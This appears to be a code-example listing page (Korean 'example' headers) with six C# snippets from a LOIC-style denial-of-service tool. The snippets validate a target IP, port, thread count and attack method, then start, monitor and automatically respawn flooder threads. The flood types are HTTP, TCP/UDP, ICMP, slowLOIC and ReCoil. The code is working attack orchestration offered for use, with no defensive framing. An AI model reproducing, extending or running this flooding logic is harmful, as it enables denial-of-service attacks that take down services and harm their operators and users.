예제 #1
0
        public void Start(IApplicationSettings settings)
        {
            if (floodersList.Count > 0)
            {
                Status = AttackServiceStatus.Cleaning;

                foreach (IFlooder flooder in floodersList)
                {
                    flooder.Stop();
                    flooder.State.IsFlooding = false;
                }

                floodersList.Clear();
            }

            Status = AttackServiceStatus.HeatingUp;

            for (int i = 0; i < settings.Threads; i++)
            {
                IFlooder flooder = attackFactory.Get(settings);

                if (flooder != null)
                {
                    flooder.Start();
                    floodersList.Add(flooder);
                }
            }

            Status = AttackServiceStatus.InProgress;
        }
예제 #2
0
        private void AddOrUpdateToListViewContent(IFlooder flooder)
        {
            if (flooder == null)
            {
                throw new ArgumentNullException(nameof(flooder));
            }

            if (flooder.State.ManagedThreadId == 0)
            {
                return;
            }

            ListViewItem currentListViewItem = listViewWorkers.Items.Cast <ListViewItem>()
                                               .FirstOrDefault(w => w.Text == $"W-{flooder.State.ManagedThreadId}");

            var listViewItemExists = null != currentListViewItem;

            listViewWorkers.BeginUpdate();

            if (!listViewItemExists)
            {
                var item = new ListViewItem($"W-{flooder.State.ManagedThreadId}");
                var data = new[] {
                    String.Empty,
                    String.Empty,
                    String.Empty,
                    String.Empty,
                    String.Empty
                };

                item.SubItems.AddRange(data);
                listViewWorkers.Items.Add(item);

                {
                    MaterialProgressBar progressBar = new MaterialProgressBar();
                    progressBar.Depth      = 0;
                    progressBar.Location   = new Point(834, 64);
                    progressBar.MouseState = MaterialSkin.MouseState.HOVER;
                    progressBar.Size       = new Size(157, 5);
                    progressBar.Maximum    = 100;
                    progressBar.Value      = 0;

                    listViewWorkers.Controls.Add(progressBar);

                    listViewWorkers.TriggerSizeChangedEvents();
                }

                currentListViewItem = item;
            }

            var currentIndex       = listViewWorkers.Items.IndexOf(currentListViewItem);
            var currentProgressBar = (listViewWorkers.Controls[currentIndex] as ProgressBar);

            UpdateWorkerData(currentListViewItem.SubItems, currentProgressBar, flooder);

            listViewWorkers.EndUpdate();
        }
예제 #3
0
        /// <summary>
        /// Attack the specified target
        /// </summary>
        /// <param name="toggle">Whether to toggle.</param>
        /// <param name="on">Whether the attack should start.</param>
        /// <param name="silent">Whether to silence error output.</param>
        private void Attack(bool toggle, bool on, bool silent = false)
        {
            if ((cmdAttack.Text == AttackText && toggle) || (!toggle && on))
            {
                try
                {
                    // Protect against race condition
                    if (tShowStats.Enabled)
                    {
                        tShowStats.Stop();
                    }

                    if (!Functions.ParseInt(txtPort.Text, 0, 65535, out iPort))
                    {
                        HandleError("Invalid port.", silent);
                        return;
                    }
                    if (!Functions.ParseInt(txtThreads.Text, 1, (bKonami ? 1337 : 99), out iThreads))
                    {
                        HandleError("Too many threads!  Lower than 100, please.", silent);
                        return;
                    }

                    sTargetIP = txtTarget.Text;
                    if (String.IsNullOrEmpty(sTargetIP) || String.IsNullOrEmpty(sTargetHost) || String.Equals(sTargetIP, "N O N E !"))
                    {
                        throw new Exception("Select a target.");
                    }

                    sMethod  = cbMethod.Text;
                    protocol = Protocol.None;
                    try {
                        protocol = (Protocol)Enum.Parse(typeof(Protocol), sMethod, true);
                        // Analysis disable once EmptyGeneralCatchClause
                    } catch { }
                    if (protocol == Protocol.None)
                    {
                        HandleError("Select a proper attack method.", silent);
                        return;
                    }

                    sData = txtData.Text.Replace(@"\r", "\r").Replace(@"\n", "\n");
                    if (String.IsNullOrEmpty(sData) && (protocol == Protocol.TCP || protocol == Protocol.UDP))
                    {
                        HandleError("No contents specified.", silent);
                        return;
                    }

                    sSubsite = txtSubsite.Text;
                    if (!sSubsite.StartsWith("/") && (int)protocol >= (int)Protocol.HTTP && (int)protocol != (int)Protocol.ICMP)
                    {
                        HandleError("You have to enter a subsite (for example \"/\")", silent);
                        return;
                    }

                    if (!int.TryParse(txtTimeout.Text, out iTimeout) || iTimeout < 1)
                    {
                        HandleError("Invalid number in timeout box.", silent);
                        return;
                    }
                    if (iTimeout > 999)
                    {
                        iTimeout        = 30;
                        txtTimeout.Text = "30";
                    }

                    bResp = chkWaitReply.Checked;

                    if (protocol == Protocol.slowLOIC || protocol == Protocol.ReCoil || protocol == Protocol.ICMP)
                    {
                        if (!int.TryParse(txtSLSpT.Text, out iSockspThread) || iSockspThread < 1)
                        {
                            throw new Exception("Please enter a number.");
                        }
                    }
                }
                catch (Exception ex)
                {
                    HandleError(ex.Message, silent);
                    return;
                }

                cmdAttack.Text = StpFldText;
                //let's lock down the controls, that could actually change the creation of new sockets
                chkAllowGzip.Enabled = false;
                chkUseGet.Enabled    = false;
                chkMsgRandom.Enabled = false;
                chkRandom.Enabled    = false;
                cbMethod.Enabled     = false;
                chkWaitReply.Enabled = false;
                txtSLSpT.Enabled     = false;

                if (arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                    arr.Clear();
                }

                for (int i = 0; i < iThreads; i++)
                {
                    IFlooder ts = null;

                    switch (protocol)
                    {
                    case Protocol.ReCoil:
                        ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                        break;

                    case Protocol.slowLOIC:
                        ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                        break;

                    case Protocol.HTTP:
                        ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                        break;

                    case Protocol.TCP:
                    case Protocol.UDP:
                        ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                        break;

                    case Protocol.ICMP:
                        ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
                        break;
                    }

                    if (ts != null)
                    {
                        ts.Start();
                        arr.Add(ts);
                    }
                }

                tShowStats.Start();
            }
            else if (toggle || !on)
            {
                cmdAttack.Text       = AttackText;
                chkAllowGzip.Enabled = true;
                chkUseGet.Enabled    = true;
                chkMsgRandom.Enabled = true;
                chkRandom.Enabled    = true;
                cbMethod.Enabled     = true;
                chkWaitReply.Enabled = true;
                txtSLSpT.Enabled     = true;

                if (arr != null && arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                }
            }
        }
예제 #4
0
        /// <summary>
        /// Handles the tShowStats Tick event.
        /// </summary>
        /// <param name="sender">Sender.</param>
        /// <param name="e">EventArgs.</param>
        private void tShowStats_Tick(object sender, EventArgs e)
        {
            // Protect against null reference and race condition
            if (arr == null || intShowStats)
            {
                return;
            }

            intShowStats = true;

            int iIdle = 0;
            int iConnecting = 0, iRequesting = 0, iDownloading = 0;
            int iDownloaded = 0, iRequested = 0, iFailed = 0;

            bool isFlooding = false;

            if (cmdAttack.Text == StpFldText)
            {
                isFlooding = true;
            }

            if (arr.Count > 0)
            {
                for (int a = (arr.Count - 1); a >= 0; a--)
                {
                    if (arr[a] != null && (arr[a] is cHLDos))
                    {
                        cHLDos c = arr[a] as cHLDos;

                        iDownloaded += c.Downloaded;
                        iRequested  += c.Requested;
                        iFailed     += c.Failed;
                        if (c.State == ReqState.Ready ||
                            c.State == ReqState.Completed)
                        {
                            iIdle++;
                        }
                        if (c.State == ReqState.Connecting)
                        {
                            iConnecting++;
                        }
                        if (c.State == ReqState.Requesting)
                        {
                            iRequesting++;
                        }
                        if (c.State == ReqState.Downloading)
                        {
                            iDownloading++;
                        }

                        if (isFlooding && !c.IsFlooding)
                        {
                            cHLDos ts = null;

                            int iaDownloaded = c.Downloaded;
                            int iaRequested  = c.Requested;
                            int iaFailed     = c.Failed;

                            if (protocol == Protocol.ReCoil)
                            {
                                ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.slowLOIC)
                            {
                                ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.HTTP)
                            {
                                ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                            {
                                ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                            }
                            if (protocol == Protocol.ICMP)
                            {
                                ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
                            }

                            if (ts != null)
                            {
                                arr[a].Stop();
                                arr[a].IsFlooding = false;

                                arr.RemoveAt(a);

                                ts.Downloaded = iaDownloaded;
                                ts.Requested  = iaRequested;
                                ts.Failed     = iaFailed;
                                ts.Start();

                                arr.Add(ts);
                            }
                        }
                    }
                }
                if (isFlooding)
                {
                    while (arr.Count < iThreads)
                    {
                        IFlooder ts = null;

                        if (protocol == Protocol.ReCoil)
                        {
                            ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.slowLOIC)
                        {
                            ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.HTTP)
                        {
                            ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                        {
                            ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                        }
                        if (protocol == Protocol.ICMP)
                        {
                            ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
                        }

                        if (ts != null)
                        {
                            ts.Start();
                            arr.Add(ts);
                        }
                        else
                        {
                            break;
                        }
                    }
                    if (arr.Count > iThreads)
                    {
                        for (int a = (arr.Count - 1); a >= iThreads; a--)
                        {
                            arr[a].Stop();
                            arr[a].IsFlooding = false;

                            arr.RemoveAt(a);
                        }
                    }
                }
            }

            lbFailed.Text      = iFailed.ToString();
            lbRequested.Text   = iRequested.ToString();
            lbDownloaded.Text  = iDownloaded.ToString();
            lbDownloading.Text = iDownloading.ToString();
            lbRequesting.Text  = iRequesting.ToString();
            lbConnecting.Text  = iConnecting.ToString();
            lbIdle.Text        = iIdle.ToString();

            intShowStats = false;
        }
예제 #5
0
        /// <summary>
        /// Handles the tShowStats Tick event.
        /// </summary>
        public bool GetStatistics(IApplicationSettings settings, out AttackState attackState)
        {
            // TODO: Use lock

            // Protect against null reference and race condition
            if (floodersList == null || intShowStats)
            {
                attackState = null;
                return(false);
            }

            intShowStats = true;

            attackState = new AttackState();

            bool isFlooding = false;

            if (Status == AttackServiceStatus.InProgress)
            {
                isFlooding = true;
            }

            if (floodersList.Count > 0)
            {
                TimeSpan totalResponseTime = TimeSpan.Zero;

                for (int a = (floodersList.Count - 1); a >= 0; a--)
                {
                    if (floodersList[a] != null && (floodersList[a] is BaseFlooder))
                    {
                        BaseFlooder flooder = (BaseFlooder)floodersList[a];

                        totalResponseTime      += flooder.State.AverageResponseTime;
                        attackState.Downloaded += flooder.State.Downloaded;
                        attackState.Requested  += flooder.State.Requested;
                        attackState.Failed     += flooder.State.Failed;

                        if (flooder.State.Status == RequestStatus.Ready ||
                            flooder.State.Status == RequestStatus.Completed)
                        {
                            attackState.Idle++;
                        }

                        if (flooder.State.Status == RequestStatus.Connecting)
                        {
                            attackState.Connecting++;
                        }

                        if (flooder.State.Status == RequestStatus.Requesting)
                        {
                            attackState.Requesting++;
                        }

                        if (flooder.State.Status == RequestStatus.Downloading)
                        {
                            attackState.Downloading++;
                        }

                        if (isFlooding && !flooder.State.IsFlooding)
                        {
                            TimeSpan totalElepsedTime = flooder.State.TotalElepsedTime;
                            int      iaDownloaded     = flooder.State.Downloaded;
                            int      iaRequested      = flooder.State.Requested;
                            int      iaFailed         = flooder.State.Failed;

                            BaseFlooder newFlooder = attackFactory.Get(settings) as BaseFlooder;

                            if (newFlooder != null)
                            {
                                floodersList[a].Stop();
                                floodersList[a].State.IsFlooding = false;

                                Logger.Log.InfoFormat(
                                    "Removing Flooder from index {0}",
                                    a
                                    );

                                floodersList.RemoveAt(a);

                                newFlooder.State.TotalElepsedTime = totalElepsedTime;
                                newFlooder.State.Downloaded       = iaDownloaded;
                                newFlooder.State.Requested        = iaRequested;
                                newFlooder.State.Failed           = iaFailed;

                                newFlooder.Start();

                                floodersList.Add(newFlooder);
                            }
                        }
                    }
                }

                attackState.AverageResponseTime = TimeSpan.FromSeconds(totalResponseTime.TotalSeconds / settings.Threads);

                if (isFlooding)
                {
                    while (floodersList.Count < settings.Threads)
                    {
                        IFlooder ts = attackFactory.Get(settings);

                        if (ts != null)
                        {
                            ts.Start();
                            floodersList.Add(ts);
                        }
                        else
                        {
                            break;
                        }
                    }

                    if (floodersList.Count > settings.Threads)
                    {
                        for (int a = (floodersList.Count - 1); a >= settings.Threads; a--)
                        {
                            floodersList[a].Stop();
                            floodersList[a].State.IsFlooding = false;

                            Logger.Log.InfoFormat(
                                "Removing Flooder from index {0}",
                                a
                                );

                            floodersList.RemoveAt(a);
                        }
                    }
                }
            }

            intShowStats = false;

            return(true);
        }
예제 #6
0
        private void UpdateWorkerData(ListViewSubItemCollection subItems, ProgressBar responsivenessProgressBar, IFlooder flooder)
        {
            const int StatusIndex         = 1;
            const int RequestedIndex      = 2;
            const int DownloadedIndex     = 3;
            const int FailedIndex         = 4;
            const int ResponsivenessIndex = 5;

            var elapsed = flooder.Clock.Elapsed;
            //var totalMilliseconds = elapsed.TotalMilliseconds;
            var totalSeconds = elapsed.TotalSeconds;

            //
            // Time Progress
            {
                responsivenessProgressBar.Maximum = (int)flooder.Settings.Timeout.TotalSeconds;
                if (totalSeconds > responsivenessProgressBar.Maximum)
                {
                    responsivenessProgressBar.Value = responsivenessProgressBar.Maximum;
                }
                else
                {
                    responsivenessProgressBar.Value = (int)totalSeconds;
                }
            }
            //

            //
            // Responsiveness
            {
                subItems[ResponsivenessIndex].Text = Format.Time(elapsed);
            }
            //

            //
            // State
            {
                subItems[StatusIndex].Text     = flooder.State.Status.ToString();
                subItems[RequestedIndex].Text  = Format.Size(flooder.State.Requested).ToString();
                subItems[DownloadedIndex].Text = Format.Size(flooder.State.Downloaded).ToString();
                subItems[FailedIndex].Text     = Format.Size(flooder.State.Failed).ToString();
            }
            //
        }